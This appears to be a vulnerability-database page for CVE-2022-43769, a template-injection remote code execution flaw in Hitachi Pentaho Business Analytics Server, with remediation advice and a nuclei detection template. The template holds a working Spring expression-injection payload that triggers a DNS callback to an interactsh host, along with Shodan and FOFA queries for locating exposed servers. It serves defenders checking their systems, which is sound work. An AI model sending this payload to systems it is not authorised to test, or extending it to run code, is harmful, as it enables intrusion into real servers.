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CVE-2022-43769· hitachi / vantara pentaho business analytics server· CWE-94, CWE-74

Hitachi Pentaho Business Analytics Server - Remote Code Execution

Exploited in the wild. Listed by CISA on 2025-03-03; known to be used by ransomware.

highseverity
7.2CVSS score
97.7%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

Hitachi Pentaho Business Analytics Server prior to versions 9.4.0.1 and 9.3.0.2, including 8.3.x, is susceptible to remote code execution via server-side template injection. Certain web services can set property values which contain Spring templates that are interpreted downstream, thereby potentially enabling an attacker to execute malware, obtain sensitive information, modify data, and/or perform unauthorized operations without entering necessary credentials.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected server.

Fix

Upgrade to 9.4 with Service Pack 9.4.0.1. For version 9.3, recommend updating to Service Pack 9.3.0.2.

How to confirm it

Send: GET {{BaseURL}}/pentaho/api/ldap/config/ldapTreeNodeChildren/require.js?url=%23{T(java.net.InetAddress).getByName('{{interactsh-url}}')}&mgrDn=a&pwd=a
Positive when: contains in interactsh_protocol "dns" AND contains "false" AND contains in header "application/json"

Run it with nuclei: nuclei -id CVE-2022-43769 -u <target>

The full check
id: CVE-2022-43769

info:
  name: Hitachi Pentaho Business Analytics Server - Remote Code Execution
  author: dwbzn
  severity: high
  description: |
    Hitachi Pentaho Business Analytics Server prior to versions 9.4.0.1 and 9.3.0.2, including 8.3.x, is susceptible to remote code execution via server-side template injection. Certain web services can set property values which contain Spring templates that are interpreted downstream, thereby potentially enabling an attacker to execute malware, obtain sensitive information, modify data, and/or perform unauthorized operations without entering necessary credentials.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected server.
  remediation: Upgrade to 9.4 with Service Pack 9.4.0.1. For version 9.3, recommend updating to Service Pack 9.3.0.2.
  reference:
    - https://support.pentaho.com/hc/en-us/articles/14455561548301--Resolved-Pentaho-BA-Server-Failure-to-Sanitize-Special-Elements-into-a-Different-Plane-Special-Element-Injection-Versions-before-9-4-0-1-and-9-3-0-2-including-8-3-x-Impacted-CVE-2022-43769-
    - https://nvd.nist.gov/vuln/detail/CVE-2022-43769
    - http://packetstormsecurity.com/files/172296/Pentaho-Business-Server-Authentication-Bypass-SSTI-Code-Execution.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2022-43769
    cwe-id: CWE-94,CWE-74
    epss-score: 0.9767
    epss-percentile: 0.99904
    cpe: cpe:2.3:a:hitachi:vantara_pentaho_business_analytics_server:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: hitachi
    product: vantara_pentaho_business_analytics_server
    shodan-query: http.favicon.hash:1749354953
    fofa-query: icon_hash=1749354953
  tags: cve,cve2022,packetstorm,rce,ssti,pentaho,hitachi,kev,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/pentaho/api/ldap/config/ldapTreeNodeChildren/require.js?url=%23{T(java.net.InetAddress).getByName('{{interactsh-url}}')}&mgrDn=a&pwd=a"

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"

      - type: word
        part: body
        words:
          - "false"

      - type: word
        part: header
        words:
          - "application/json"

References

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